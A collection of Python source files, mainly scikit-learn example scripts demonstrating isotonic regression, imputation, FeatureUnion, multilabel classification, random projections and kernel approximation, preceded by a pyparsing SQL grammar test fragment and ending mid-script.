    selectToken    = CaselessLiteral( "select" )
    fromToken      = CaselessLiteral( "from" )

    ident          = Word( alphas, alphanums + "_$" )
    columnName     = delimitedList( ident, ".", combine=True ).setParseAction( upcaseTokens )
    columnNameList = Group( delimitedList( columnName ) )#.setName("columns")
    tableName      = delimitedList( ident, ".", combine=True ).setParseAction( upcaseTokens )
    tableNameList  = Group( delimitedList( tableName ) )#.setName("tables")
    simpleSQL      = ( selectToken + \
                     ( '*' | columnNameList ).setResultsName( "columns" ) + \
                     fromToken + \
                     tableNameList.setResultsName( "tables" ) )

    test( "SELECT * from XYZZY, ABC" )
    test( "select * from SYS.XYZZY" )
    test( "Select A from Sys.dual" )
    test( "Select AA,BB,CC from Sys.dual" )
    test( "Select A, B, C from Sys.dual" )
    test( "Select A, B, C from Sys.dual" )
    test( "Xelect A, B, C from Sys.dual" )
    test( "Select A, B, C frox Sys.dual" )
    test( "Select" )
    test( "Select ^^^ frox Sys.dual" )
    test( "Select A, B, C from Sys.dual, Table2   " )






"""Fixture module to skip the unsupervised_learning.rst doctest for 
versions of SciPy earlier than 0.12.0. 
"""
from sklearn.utils.testing import SkipTest
from sklearn.utils.fixes import sp_version

def setup_module(module):
    if sp_version < (0, 12):
        raise SkipTest("Skipping because SciPy version earlier than 0.12.0 and "
                       "thus does not include the scipy.misc.face() image.")






"""
===================
Isotonic Regression
===================

An illustration of the isotonic regression on generated data. The
isotonic regression finds a non-decreasing approximation of a function
while minimizing the mean squared error on the training data. The benefit
of such a model is that it does not assume any form for the target
function such as linearity. For comparison a linear regression is also
presented.

"""
print(__doc__)

# Author: Nelle Varoquaux <nelle.varoquaux@gmail.com>
#         Alexandre Gramfort <alexandre.gramfort@inria.fr>
# License: BSD

import numpy as np
import matplotlib.pyplot as plt
from matplotlib.collections import LineCollection

from sklearn.linear_model import LinearRegression
from sklearn.isotonic import IsotonicRegression
from sklearn.utils import check_random_state

n = 100
x = np.arange(n)
rs = check_random_state(0)
y = rs.randint(-50, 50, size=(n,)) + 50. * np.log(1 + np.arange(n))

###############################################################################
# Fit IsotonicRegression and LinearRegression models

ir = IsotonicRegression()

y_ = ir.fit_transform(x, y)

lr = LinearRegression()
lr.fit(x[:, np.newaxis], y)  # x needs to be 2d for LinearRegression

###############################################################################
# plot result

segments = [[[i, y[i]], [i, y_[i]]] for i in range(n)]
lc = LineCollection(segments, zorder=0)
lc.set_array(np.ones(len(y)))
lc.set_linewidths(0.5 * np.ones(n))

fig = plt.figure()
plt.plot(x, y, 'r.', markersize=12)
plt.plot(x, y_, 'g.-', markersize=12)
plt.plot(x, lr.predict(x[:, np.newaxis]), 'b-')
plt.gca().add_collection(lc)
plt.legend(('Data', 'Isotonic Fit', 'Linear Fit'), loc='lower right')
plt.title('Isotonic regression')
plt.show()






"""
======================================================
Imputing missing values before building an estimator
======================================================

This example shows that imputing the missing values can give better results
than discarding the samples containing any missing value.
Imputing does not always improve the predictions, so please check via cross-validation.
Sometimes dropping rows or using marker values is more effective.

In this example, we artificially mark some of the elements in complete
dataset as missing. Then we estimate performance using the complete dataset,
dataset without the missing samples, after imputation without the indicator
matrix and imputation with the indicator matrix for the missing values.

Missing values can be replaced by the mean, the median or the most frequent
value using the ``strategy`` hyper-parameter.
The median is a more robust estimator for data with high magnitude variables
which could dominate results (otherwise known as a 'long tail').

Script output::

  Score with the complete dataset = 0.56
  Score without the samples containing missing values = 0.48
  Score after imputation of the missing values = 0.55
  Score after imputation with indicator features = 0.57

In this case, imputing helps the classifier get close to the original score.
  
"""
import numpy as np

from sklearn.datasets import load_boston
from sklearn.ensemble import RandomForestRegressor
from sklearn.pipeline import Pipeline
from sklearn.preprocessing import Imputer
from sklearn.model_selection import cross_val_score

rng = np.random.RandomState(0)

dataset = load_boston()
X_full, y_full = dataset.data, dataset.target
n_samples = X_full.shape[0]
n_features = X_full.shape[1]

# Estimate the score on the entire dataset, with no missing values
estimator = RandomForestRegressor(random_state=0, n_estimators=100)
score = cross_val_score(estimator, X_full, y_full).mean()
print("Score with the complete dataset = %.2f" % score)

# Add missing values in 75% of the lines
missing_rate = 0.75
n_missing_samples = int(n_samples * missing_rate)
missing_samples = np.hstack((np.zeros(n_samples - n_missing_samples,
                                      dtype=np.bool),
                             np.ones(n_missing_samples,
                                     dtype=np.bool)))
rng.shuffle(missing_samples)
missing_features = rng.randint(0, n_features, n_missing_samples)

# Estimate the score without the lines containing missing values
X_filtered = X_full[~missing_samples, :]
y_filtered = y_full[~missing_samples]
estimator = RandomForestRegressor(random_state=0, n_estimators=100)
score = cross_val_score(estimator, X_filtered, y_filtered).mean()
print("Score without the samples containing missing values = %.2f" % score)

# Estimate the score after imputation of the missing values
X_missing = X_full.copy()
X_missing[np.where(missing_samples)[0], missing_features] = 0
y_missing = y_full.copy()
estimator = Pipeline([("imputer", Imputer(missing_values=0,
                                          strategy="mean",
                                          axis=0)),
                      ("forest", RandomForestRegressor(random_state=0,
                                                       n_estimators=100))])
score = cross_val_score(estimator, X_missing, y_missing).mean()
print("Score after imputation of the missing values = %.2f" % score)

# Estimate score after imputation of the missing values with indicator matrix
estimator = Pipeline([("imputer", Imputer(missing_values=0,
                                          strategy="mean",
                                          axis=0, add_indicator_features=True)),
                      ("forest", RandomForestRegressor(random_state=0,
                                                       n_estimators=100))])
score = cross_val_score(estimator, X_missing, y_missing).mean()
print("Score after imputation with indicator features = %.2f" % score)






"""
=================================================
Concatenating multiple feature extraction methods
=================================================

In many real-world examples, there are many ways to extract features from a
dataset. Often it is beneficial to combine several methods to obtain good
performance. This example shows how to use ``FeatureUnion`` to combine
features obtained by PCA and univariate selection.

Combining features using this transformer has the benefit that it allows
cross validation and grid searches over the whole process.

The combination used in this example is not particularly helpful on this
dataset and is only used to illustrate the usage of FeatureUnion.
"""

# Author: Andreas Mueller <amueller@ais.uni-bonn.de>
#
# License: BSD 3 clause

from sklearn.pipeline import Pipeline, FeatureUnion
from sklearn.model_selection import GridSearchCV
from sklearn.svm import SVC
from sklearn.datasets import load_iris
from sklearn.decomposition import PCA
from sklearn.feature_selection import SelectKBest

iris = load_iris()

X, y = iris.data, iris.target

# This dataset is way too high-dimensional. Better do PCA:
pca = PCA(n_components=2)

# Maybe some original features where good, too?
selection = SelectKBest(k=1)

# Build estimator from PCA and Univariate selection:

combined_features = FeatureUnion([("pca", pca), ("univ_select", selection)])

# Use combined features to transform dataset:
X_features = combined_features.fit(X, y).transform(X)

svm = SVC(kernel="linear")

# Do grid search over k, n_components and C:

pipeline = Pipeline([("features", combined_features), ("svm", svm)])

param_grid = dict(features__pca__n_components=[1, 2, 3],
                  features__univ_select__k=[1, 2],
                  svm__C=[0.1, 1, 10])

grid_search = GridSearchCV(pipeline, param_grid=param_grid, verbose=10)
grid_search.fit(X, y)
print(grid_search.best_estimator_)






"""
=============================================
Feature Union with Heterogeneous Data Sources
=============================================

Datasets can often contain components of that require different feature
extraction and processing pipelines.  This scenario might occur when:

1. Your dataset consists of heterogeneous data types (e.g. raster images and
   text captions)
2. Your dataset is stored in a Pandas DataFrame and different columns
   require different processing pipelines.

This example demonstrates how to use
:class:`sklearn.feature_extraction.FeatureUnion` on a dataset containing
different types of features.  We use the 20-newsgroups dataset and compute
standard bag-of-words features for the subject line and body in separate
pipelines as well as ad hoc features on the body. We combine them (with
weights) using a FeatureUnion and finally train a classifier on the combined
set of features.

The choice of features is not particularly helpful, but serves to illustrate
the technique.
"""

# Author: Matt Terry <matt.terry@gmail.com>
#
# License: BSD 3 clause
from __future__ import print_function

import numpy as np

from sklearn.base import BaseEstimator, TransformerMixin
from sklearn.datasets import fetch_20newsgroups
from sklearn.datasets.twenty_newsgroups import strip_newsgroup_footer
from sklearn.datasets.twenty_newsgroups import strip_newsgroup_quoting
from sklearn.decomposition import TruncatedSVD
from sklearn.feature_extraction import DictVectorizer
from sklearn.feature_extraction.text import TfidfVectorizer
from sklearn.metrics import classification_report
from sklearn.pipeline import FeatureUnion
from sklearn.pipeline import Pipeline
from sklearn.svm import SVC


class ItemSelector(BaseEstimator, TransformerMixin):
    """For data grouped by feature, select subset of data at a provided key.

    The data is expected to be stored in a 2D data structure, where the first
    index is over features and the second is over samples.  i.e.

    >> len(data[key]) == n_samples

    Please note that this is the opposite convention to sklearn feature
    matrixes (where the first index corresponds to sample).

    ItemSelector only requires that the collection implement getitem
    (data[key]).  Examples include: a dict of lists, 2D numpy array, Pandas
    DataFrame, numpy record array, etc.

    >> data = {'a': [1, 5, 2, 5, 2, 8],
               'b': [9, 4, 1, 4, 1, 3]}
    >> ds = ItemSelector(key='a')
    >> data['a'] == ds.transform(data)

    ItemSelector is not designed to handle data grouped by sample.  (e.g. a
    list of dicts).  If your data is structured this way, consider a
    transformer along the lines of `sklearn.feature_extraction.DictVectorizer`.

    Parameters
    ----------
    key : hashable, required
        The key corresponding to the desired value in a mappable.
    """
    def __init__(self, key):
        self.key = key

    def fit(self, x, y=None):
        return self

    def transform(self, data_dict):
        return data_dict[self.key]


class TextStats(BaseEstimator, TransformerMixin):
    """Extract features from each document for DictVectorizer"""

    def fit(self, x, y=None):
        return self

    def transform(self, posts):
        return [{'length': len(text),
                 'num_sentences': text.count('.')}
                for text in posts]


class SubjectBodyExtractor(BaseEstimator, TransformerMixin):
    """Extract the subject & body from a usenet post in a single pass.

    Takes a sequence of strings and produces a dict of sequences.  Keys are
    `subject` and `body`.
    """
    def fit(self, x, y=None):
        return self

    def transform(self, posts):
        features = np.recarray(shape=(len(posts),),
                               dtype=[('subject', object), ('body', object)])
        for i, text in enumerate(posts):
            headers, _, bod = text.partition('\n\n')
            bod = strip_newsgroup_footer(bod)
            bod = strip_newsgroup_quoting(bod)
            features['body'][i] = bod

            prefix = 'Subject:'
            sub = ''
            for line in headers.split('\n'):
                if line.startswith(prefix):
                    sub = line[len(prefix):]
                    break
            features['subject'][i] = sub

        return features


pipeline = Pipeline([
    # Extract the subject & body
    ('subjectbody', SubjectBodyExtractor()),

    # Use FeatureUnion to combine the features from subject and body
    ('union', FeatureUnion(
        transformer_list=[

            # Pipeline for pulling features from the post's subject line
            ('subject', Pipeline([
                ('selector', ItemSelector(key='subject')),
                ('tfidf', TfidfVectorizer(min_df=50)),
            ])),

            # Pipeline for standard bag-of-words model for body
            ('body_bow', Pipeline([
                ('selector', ItemSelector(key='body')),
                ('tfidf', TfidfVectorizer()),
                ('best', TruncatedSVD(n_components=50)),
            ])),

            # Pipeline for pulling ad hoc features from post's body
            ('body_stats', Pipeline([
                ('selector', ItemSelector(key='body')),
                ('stats', TextStats()),  # returns a list of dicts
                ('vect', DictVectorizer()),  # list of dicts -> feature matrix
            ])),

        ],

        # weight components in FeatureUnion
        transformer_weights={
            'subject': 0.8,
            'body_bow': 0.5,
            'body_stats': 1.0,
        },
    )),

    # Use a SVC classifier on the combined features
    ('svc', SVC(kernel='linear')),
])

# limit the list of categories to make running this example faster.
categories = ['alt.atheism', 'talk.religion.misc']
train = fetch_20newsgroups(random_state=1,
                           subset='train',
                           categories=categories,
                           )
test = fetch_20newsgroups(random_state=1,
                          subset='test',
                          categories=categories,
                          )

pipeline.fit(train.data, train.target)
y = pipeline.predict(test.data)
print(classification_report(y, test.target))






# Authors: Vlad Niculae, Mathieu Blondel
# License: BSD 3 clause
"""
=========================
Multilabel classification
=========================

This example simulates a multi-label document classification problem. The
dataset is generated randomly based on the following process:

    - pick the number of labels: n ~ Poisson(n_labels)
    - n times, choose a class c: c ~ Multinomial(theta)
    - pick the document length: k ~ Poisson(length)
    - k times, choose a word: w ~ Multinomial(theta_c)

In the above process, rejection sampling is used to make sure that n is more
than 2, and that the document length is never zero. Likewise, we reject classes
which have already been chosen.  The documents that are assigned to both
classes are plotted surrounded by two colored circles.

The classification is performed by projecting to the first two principal
components found by PCA and CCA for visualisation purposes, followed by using
the :class:`sklearn.multiclass.OneVsRestClassifier` metaclassifier using two
SVCs with linear kernels to learn a discriminative model for each class.
Note that PCA is used to perform an unsupervised dimensionality reduction,
while CCA is used to perform a supervised one.

Note: in the plot, "unlabeled samples" does not mean that we don't know the
labels (as in semi-supervised learning) but that the samples simply do *not*
have a label.
"""
print(__doc__)

import numpy as np
import matplotlib.pyplot as plt

from sklearn.datasets import make_multilabel_classification
from sklearn.multiclass import OneVsRestClassifier
from sklearn.svm import SVC
from sklearn.preprocessing import LabelBinarizer
from sklearn.decomposition import PCA
from sklearn.cross_decomposition import CCA


def plot_hyperplane(clf, min_x, max_x, linestyle, label):
    # get the separating hyperplane
    w = clf.coef_[0]
    a = -w[0] / w[1]
    xx = np.linspace(min_x - 5, max_x + 5)  # make sure the line is long enough
    yy = a * xx - (clf.intercept_[0]) / w[1]
    plt.plot(xx, yy, linestyle, label=label)


def plot_subfigure(X, Y, subplot, title, transform):
    if transform == "pca":
        X = PCA(n_components=2).fit_transform(X)
    elif transform == "cca":
        X = CCA(n_components=2).fit(X, Y).transform(X)
    else:
        raise ValueError

    min_x = np.min(X[:, 0])
    max_x = np.max(X[:, 0])

    min_y = np.min(X[:, 1])
    max_y = np.max(X[:, 1])

    classif = OneVsRestClassifier(SVC(kernel='linear'))
    classif.fit(X, Y)

    plt.subplot(2, 2, subplot)
    plt.title(title)

    zero_class = np.where(Y[:, 0])
    one_class = np.where(Y[:, 1])
    plt.scatter(X[:, 0], X[:, 1], s=40, c='gray')
    plt.scatter(X[zero_class, 0], X[zero_class, 1], s=160, edgecolors='b',
               facecolors='none', linewidths=2, label='Class 1')
    plt.scatter(X[one_class, 0], X[one_class, 1], s=80, edgecolors='orange',
               facecolors='none', linewidths=2, label='Class 2')

    plot_hyperplane(classif.estimators_[0], min_x, max_x, 'k--',
                    'Boundary\nfor class 1')
    plot_hyperplane(classif.estimators_[1], min_x, max_x, 'k-.',
                    'Boundary\nfor class 2')
    plt.xticks(())
    plt.yticks(())

    plt.xlim(min_x - .5 * max_x, max_x + .5 * max_x)
    plt.ylim(min_y - .5 * max_y, max_y + .5 * max_y)
    if subplot == 2:
        plt.xlabel('First principal component')
        plt.ylabel('Second principal component')
        plt.legend(loc="upper left")


plt.figure(figsize=(8, 6))

X, Y = make_multilabel_classification(n_classes=2, n_labels=1,
                                      allow_unlabeled=True,
                                      random_state=1)

plot_subfigure(X, Y, 1, "With unlabeled samples + CCA", "cca")
plot_subfigure(X, Y, 2, "With unlabeled samples + PCA", "pca")

X, Y = make_multilabel_classification(n_classes=2, n_labels=1,
                                      allow_unlabeled=False,
                                      random_state=1)

plot_subfigure(X, Y, 3, "Without unlabeled samples + CCA", "cca")
plot_subfigure(X, Y, 4, "Without unlabeled samples + PCA", "pca")

plt.subplots_adjust(.04, .02, .97, .94, .09, .2)
plt.show()






"""
==============================================
Face completion with a multi-output estimators
==============================================

This example shows the use of multi-output estimator to complete images.
The goal is to predict the lower half of a face given its upper half.

The first column of images shows true faces. The next columns illustrate
how extremely randomized trees, k nearest neighbors, linear
regression and ridge regression complete the lower half of those faces.

"""
print(__doc__)

import numpy as np
import matplotlib.pyplot as plt

from sklearn.datasets import fetch_olivetti_faces
from sklearn.utils.validation import check_random_state

from sklearn.ensemble import ExtraTreesRegressor
from sklearn.neighbors import KNeighborsRegressor
from sklearn.linear_model import LinearRegression
from sklearn.linear_model import RidgeCV

# Load the faces datasets
data = fetch_olivetti_faces()
targets = data.target

data = data.images.reshape((len(data.images), -1))
train = data[targets < 30]
test = data[targets >= 30]  # Test on independent people

# Test on a subset of people
n_faces = 5
rng = check_random_state(4)
face_ids = rng.randint(test.shape[0], size=(n_faces, ))
test = test[face_ids, :]

n_pixels = data.shape[1]
X_train = train[:, :np.ceil(0.5 * n_pixels)]  # Upper half of the faces
y_train = train[:, np.floor(0.5 * n_pixels):]  # Lower half of the faces
X_test = test[:, :np.ceil(0.5 * n_pixels)]
y_test = test[:, np.floor(0.5 * n_pixels):]

# Fit estimators
ESTIMATORS = {
    "Extra trees": ExtraTreesRegressor(n_estimators=10, max_features=32,
                                       random_state=0),
    "K-nn": KNeighborsRegressor(),
    "Linear regression": LinearRegression(),
    "Ridge": RidgeCV(),
}

y_test_predict = dict()
for name, estimator in ESTIMATORS.items():
    estimator.fit(X_train, y_train)
    y_test_predict[name] = estimator.predict(X_test)

# Plot the completed faces
image_shape = (64, 64)

n_cols = 1 + len(ESTIMATORS)
plt.figure(figsize=(2. * n_cols, 2.26 * n_faces))
plt.suptitle("Face completion with multi-output estimators", size=16)

for i in range(n_faces):
    true_face = np.hstack((X_test[i], y_test[i]))

    if i:
        sub = plt.subplot(n_faces, n_cols, i * n_cols + 1)
    else:
        sub = plt.subplot(n_faces, n_cols, i * n_cols + 1,
                          title="true faces")


    sub.axis("off")
    sub.imshow(true_face.reshape(image_shape),
               cmap=plt.cm.gray,
               interpolation="nearest")

    for j, est in enumerate(sorted(ESTIMATORS)):
        completed_face = np.hstack((X_test[i], y_test_predict[est][i]))

        if i:
            sub = plt.subplot(n_faces, n_cols, i * n_cols + 2 + j)

        else:
            sub = plt.subplot(n_faces, n_cols, i * n_cols + 2 + j,
                              title=est)

        sub.axis("off")
        sub.imshow(completed_face.reshape(image_shape),
                   cmap=plt.cm.gray,
                   interpolation="nearest")

plt.show()






"""
====================================
Plotting Cross-Validated Predictions
====================================

This example shows how to use `cross_val_predict` to visualize prediction
errors.

"""
from sklearn import datasets
from sklearn.model_selection import cross_val_predict
from sklearn import linear_model
import matplotlib.pyplot as plt

lr = linear_model.LinearRegression()
boston = datasets.load_boston()
y = boston.target

# cross_val_predict returns an array of the same size as `y` where each entry
# is a prediction obtained by cross validation:
predicted = cross_val_predict(lr, boston.data, y, cv=10)

fig, ax = plt.subplots()
ax.scatter(y, predicted)
ax.plot([y.min(), y.max()], [y.min(), y.max()], 'k--', lw=4)
ax.set_xlabel('Measured')
ax.set_ylabel('Predicted')
plt.show()






r"""
=====================================================================
The Johnson-Lindenstrauss bound for embedding with random projections
=====================================================================


The `Johnson-Lindenstrauss lemma`_ states that any high dimensional
dataset can be randomly projected into a lower dimensional Euclidean
space while controlling the distortion in the pairwise distances.

.. _`Johnson-Lindenstrauss lemma`: https://en.wikipedia.org/wiki/Johnson%E2%80%93Lindenstrauss_lemma


Theoretical bounds
==================

The distortion introduced by a random projection `p` is asserted by
the fact that `p` is defining an eps-embedding with good probability
as defined by:

.. math::
   (1 - eps) \|u - v\|^2 < \|p(u) - p(v)\|^2 < (1 + eps) \|u - v\|^2

Where u and v are any rows taken from a dataset of shape [n_samples,
n_features] and p is a projection by a random Gaussian N(0, 1) matrix
with shape [n_components, n_features] (or a sparse Achlioptas matrix).

The minimum number of components to guarantees the eps-embedding is
given by:

.. math::
   n\_components >= 4 log(n\_samples) / (eps^2 / 2 - eps^3 / 3)


The first plot shows that with an increasing number of samples ``n_samples``,
the minimal number of dimensions ``n_components`` increased logarithmically
in order to guarantee an ``eps``-embedding.

The second plot shows that an increase of the admissible
distortion ``eps`` allows to reduce drastically the minimal number of
dimensions ``n_components`` for a given number of samples ``n_samples``


Empirical validation
====================

We validate the above bounds on the digits dataset or on the 20 newsgroups
text document (TF-IDF word frequencies) dataset:

- for the digits dataset, some 8x8 gray level pixels data for 500
  handwritten digits pictures are randomly projected to spaces for various
  larger number of dimensions ``n_components``.

- for the 20 newsgroups dataset some 500 documents with 100k
  features in total are projected using a sparse random matrix to smaller
  euclidean spaces with various values for the target number of dimensions
  ``n_components``.

The default dataset is the digits dataset. To run the example on the twenty
newsgroups dataset, pass the --twenty-newsgroups command line argument to this
script.

For each value of ``n_components``, we plot:

- 2D distribution of sample pairs with pairwise distances in original
  and projected spaces as x and y axis respectively.

- 1D histogram of the ratio of those distances (projected / original).

We can see that for low values of ``n_components`` the distribution is wide
with many distorted pairs and a skewed distribution (due to the hard
limit of zero ratio on the left as distances are always positives)
while for larger values of n_components the distortion is controlled
and the distances are well preserved by the random projection.


Remarks
=======

According to the JL lemma, projecting 500 samples without too much distortion
will require at least several thousands dimensions, irrespective of the
number of features of the original dataset.

Hence using random projections on the digits dataset which only has 64 features
in the input space does not make sense: it does not allow for dimensionality
reduction in this case.

On the twenty newsgroups on the other hand the dimensionality can be decreased
from 56436 down to 10000 while reasonably preserving pairwise distances.

"""
print(__doc__)

import sys
from time import time
import numpy as np
import matplotlib.pyplot as plt
from sklearn.random_projection import johnson_lindenstrauss_min_dim
from sklearn.random_projection import SparseRandomProjection
from sklearn.datasets import fetch_20newsgroups_vectorized
from sklearn.datasets import load_digits
from sklearn.metrics.pairwise import euclidean_distances

# Part 1: plot the theoretical dependency between n_components_min and
# n_samples

# range of admissible distortions
eps_range = np.linspace(0.1, 0.99, 5)
colors = plt.cm.Blues(np.linspace(0.3, 1.0, len(eps_range)))

# range of number of samples (observation) to embed
n_samples_range = np.logspace(1, 9, 9)

plt.figure()
for eps, color in zip(eps_range, colors):
    min_n_components = johnson_lindenstrauss_min_dim(n_samples_range, eps=eps)
    plt.loglog(n_samples_range, min_n_components, color=color)

plt.legend(["eps = %0.1f" % eps for eps in eps_range], loc="lower right")
plt.xlabel("Number of observations to eps-embed")
plt.ylabel("Minimum number of dimensions")
plt.title("Johnson-Lindenstrauss bounds:\nn_samples vs n_components")

# range of admissible distortions
eps_range = np.linspace(0.01, 0.99, 100)

# range of number of samples (observation) to embed
n_samples_range = np.logspace(2, 6, 5)
colors = plt.cm.Blues(np.linspace(0.3, 1.0, len(n_samples_range)))

plt.figure()
for n_samples, color in zip(n_samples_range, colors):
    min_n_components = johnson_lindenstrauss_min_dim(n_samples, eps=eps_range)
    plt.semilogy(eps_range, min_n_components, color=color)

plt.legend(["n_samples = %d" % n for n in n_samples_range], loc="upper right")
plt.xlabel("Distortion eps")
plt.ylabel("Minimum number of dimensions")
plt.title("Johnson-Lindenstrauss bounds:\nn_components vs eps")

# Part 2: perform sparse random projection of some digits images which are
# quite low dimensional and dense or documents of the 20 newsgroups dataset
# which is both high dimensional and sparse

if '--twenty-newsgroups' in sys.argv:
    # Need an internet connection hence not enabled by default
    data = fetch_20newsgroups_vectorized().data[:500]
else:
    data = load_digits().data[:500]

n_samples, n_features = data.shape
print("Embedding %d samples with dim %d using various random projections"
      % (n_samples, n_features))

n_components_range = np.array([300, 1000, 10000])
dists = euclidean_distances(data, squared=True).ravel()

# select only non-identical samples pairs
nonzero = dists != 0
dists = dists[nonzero]

for n_components in n_components_range:
    t0 = time()
    rp = SparseRandomProjection(n_components=n_components)
    projected_data = rp.fit_transform(data)
    print("Projected %d samples from %d to %d in %0.3fs"
          % (n_samples, n_features, n_components, time() - t0))
    if hasattr(rp, 'components_'):
        n_bytes = rp.components_.data.nbytes
        n_bytes += rp.components_.indices.nbytes
        print("Random matrix with size: %0.3fMB" % (n_bytes / 1e6))

    projected_dists = euclidean_distances(
        projected_data, squared=True).ravel()[nonzero]

    plt.figure()
    plt.hexbin(dists, projected_dists, gridsize=100, cmap=plt.cm.PuBu)
    plt.xlabel("Pairwise squared distances in original space")
    plt.ylabel("Pairwise squared distances in projected space")
    plt.title("Pairwise distances distribution for n_components=%d" %
              n_components)
    cb = plt.colorbar()
    cb.set_label('Sample pairs counts')

    rates = projected_dists / dists
    print("Mean distances rate: %0.2f (%0.2f)"
          % (np.mean(rates), np.std(rates)))

    plt.figure()
    plt.hist(rates, bins=50, normed=True, range=(0., 2.))
    plt.xlabel("Squared distances rate: projected / original")
    plt.ylabel("Distribution of samples pairs")
    plt.title("Histogram of pairwise distance rates for n_components=%d" %
              n_components)

    # TODO: compute the expected value of eps and add them to the previous plot
    # as vertical lines / region

plt.show()






"""
==================================================
Explicit feature map approximation for RBF kernels
==================================================

An example illustrating the approximation of the feature map
of an RBF kernel.

.. currentmodule:: sklearn.kernel_approximation

It shows how to use :class:`RBFSampler` and :class:`Nystroem` to
approximate the feature map of an RBF kernel for classification with an SVM on
the digits dataset. Results using a linear SVM in the original space, a linear
SVM using the approximate mappings and using a kernelized SVM are compared.
Timings and accuracy for varying amounts of Monte Carlo samplings (in the case
of :class:`RBFSampler`, which uses random Fourier features) and different sized
subsets of the training set (for :class:`Nystroem`) for the approximate mapping
are shown.

Please note that the dataset here is not large enough to show the benefits
of kernel approximation, as the exact SVM is still reasonably fast.

Sampling more dimensions clearly leads to better classification results, but
comes at a greater cost. This means there is a tradeoff between runtime and
accuracy, given by the parameter n_components. Note that solving the Linear
SVM and also the approximate kernel SVM could be greatly accelerated by using
stochastic gradient descent via :class:`sklearn.linear_model.SGDClassifier`.
This is not easily possible for the case of the kernelized SVM.

The second plot visualized the decision surfaces of the RBF kernel SVM and
the linear SVM with approximate kernel maps.
The plot shows decision surfaces of the classifiers projected onto
the first two principal components of the data. This visualization should
be taken with a grain of salt since it is just an interesting slice through
the decision surface in 64 dimensions. In particular note that
a datapoint (represented as a dot) does not necessarily be classified
into the region it is lying in, since it will not lie on the plane
that the first two principal components span.

The usage of :class:`RBFSampler` and :class:`Nystroem` is described in detail
in :ref:`kernel_approximation`.

"""
print(__doc__)

# Author: Gael Varoquaux <gael dot varoquaux at normalesup dot org>
#         Andreas Mueller <amueller@ais.uni-bonn.de>
# License: BSD 3 clause

# Standard scientific Python imports
import matplotlib.pyplot as plt
import numpy as np
from time import time

# Import datasets, classifiers and performance metrics
from sklearn import datasets, svm, pipeline
from sklearn.kernel_approximation import (RBFSampler,
                                          Nystroem)
from sklearn.decomposition import PCA

# The digits dataset
digits = datasets.load_digits(n_class=9)

# To apply an classifier on this data, we need to flatten the image, to
# turn the data in a (samples, feature) matrix:
n_samples = len(digits.data)
data = digits.data / 16.
data -= data.mean(axis=0)

# We learn the digits on the first half of the digits
data_train, targets_train = data[:n_samples / 2], digits.target[:n_samples / 2]


# Now predict the value of the digit on the second half:
data_test, targets_test = data[n_samples / 2:], digits.target[n_samples / 2:]
#data_test = scaler.transform(data_test)

# Create a classifier: a support vector classifier
kernel_svm = svm.SVC(gamma=.2)
linear_svm = svm.LinearSVC()

# create pipeline from kernel approximation
# and linear svm
feature_map_fourier = RBFSampler(gamma=.2, random_state=1)
feature_map_nystroem = Nystroem(gamma=.2, random_state=1)
fourier_approx_svm = pipeline.Pipeline([("feature_map", feature_map_fourier),
                                        ("svm", svm.LinearSVC())])

nystroem_approx_svm = pipeline.Pipeline([("feature_map", feature_map_nystroem),
                                        ("svm", svm.LinearSVC())])

# fit and predict using linear and kernel svm:

kernel_svm_time = time()
kernel_svm.fit(data_train, targets_train)
kernel_svm_score = kernel_svm.score(data_test, targets_test)
kernel_svm_time = time() - kernel_svm_time

linear_svm_time = time()
linear_svm.fit(data_train, targets_train)
linear_svm_score = linear_svm.score(data_test, targets_test)
linear_svm_time = time() - linear_svm_time

sample_sizes = 30 * np.arange(1, 10)
fourier_scores = []
nystroem_scores = []
fourier_times = []
nystroem_times = []

for D in sample_sizes:
    fourier_approx_svm.set_params(feature_map__n_components=D)
    nystroem_approx_svm.set_params(feature_map__n_components=D)
    start = time()
    nystroem_approx_svm.fit(data_train, targets_train)
    nystroem_times.append(time() - start)

    start = time()
    fourier_approx_svm.fit(data_train, targets_train)
    fourier_times.append(time() - start)

    fourier_score = fourier_approx_svm.score(data_test, targets_test)
    nystroem_score = nystroem_approx_svm.score(data_test, targets_test)
    nystroem_scores.append(nystroem_score)
    fourier_scores.append(fourier_score)

# plot the results:
plt.figure(figsize=(8, 8))
accuracy = plt.subplot(211)
# second y axis for timeings
timescale = plt.subplot(212)

accuracy.plot(sample_sizes, nystroem_scores, label="Nystroem approx. kernel")
timescale.plot(sample_sizes, nystroem_times, '--',
               label='Nystroem approx. kernel')

accuracy.plot(sample_sizes, fourier_scores, label="Fourier approx. kernel")
timescale.plot(sample_sizes, fourier_times, '--',
               label='Fourier approx. kernel')

# horizontal lines for exact rbf and linear kernels:
accuracy.plot([sample_sizes[0], sample_sizes[-1]],
              [linear_svm_score, linear_svm_score], label="linear svm")
timescale.plot([sample_sizes[0], sample_sizes[-1]],
               [linear_svm_time, linear_svm_time], '--', label='linear svm')

accuracy.plot([sample_sizes[0], sample_sizes[-1]],
              [kernel_svm_score, kernel_svm_score], label="rbf svm")
timescale.plot([sample_sizes[0], sample_sizes[-1]],
               [kernel_svm_time, kernel_svm_time], '--', label='rbf svm')

# vertical line for dataset dimensionality = 64
accuracy.plot([64, 64], [0.7, 1], label="n_features")

# legends and labels
accuracy.set_title("Classification accuracy")
timescale.set_title("Training times")
accuracy.set_xlim(sample_sizes[0], sample_sizes[-1])
accuracy.set_xticks(())
accuracy.set_ylim(np.min(fourier_scores), 1)
timescale.set_xlabel("Sampling steps = transformed feature dimension")
accuracy.set_ylabel("Classification accuracy")
timescale.set_ylabel("Training time in seconds")
accuracy.legend(loc='best')
timescale.legend(loc='best')

# visualize the decision surface, projected down to the first
# two principal components of the dataset
pca = PCA(n_components=8).fit(data_train)

X = pca.transform(data_train)

# Generate grid along first two principal components
multiples = np.arange(-2, 2, 0.1)
# steps along first component
first = multiples[:, np.newaxis] * pca.components_[0, :]
# steps along second component
second = multiples[:, np.newaxis] * pca.components_[1, :]
# combine
grid = first[np.newaxis, :, :] + second[:, np.newaxis, :]
flat_grid = grid.reshape(-1, data.shape[1])

# title for the plots
titles = ['SVC with rbf kernel',
          'SVC (linear kernel)\n with Fourier rbf feature map\n'
          'n_components=100',
          'SVC (linear kernel)\n with Nystroem rbf feature map\n'
          'n_components=100']

plt.tight_layout()
plt.figure(figsize=(12, 5))

# predict and plot
for i, clf in enumerate((kernel_svm, nystroem_approx_svm,
                         fourier_approx_svm)):
    # Plot the decision boundary. For that, we will assign a color to each
    # point in the mesh [x_min, x_max]x[y_min, y_max].
    plt.subplot(1, 3, i + 1)
    Z = clf.predict(flat_grid)

    # Put the result into a color plot
    Z = Z.reshape(grid.shape[:-1])
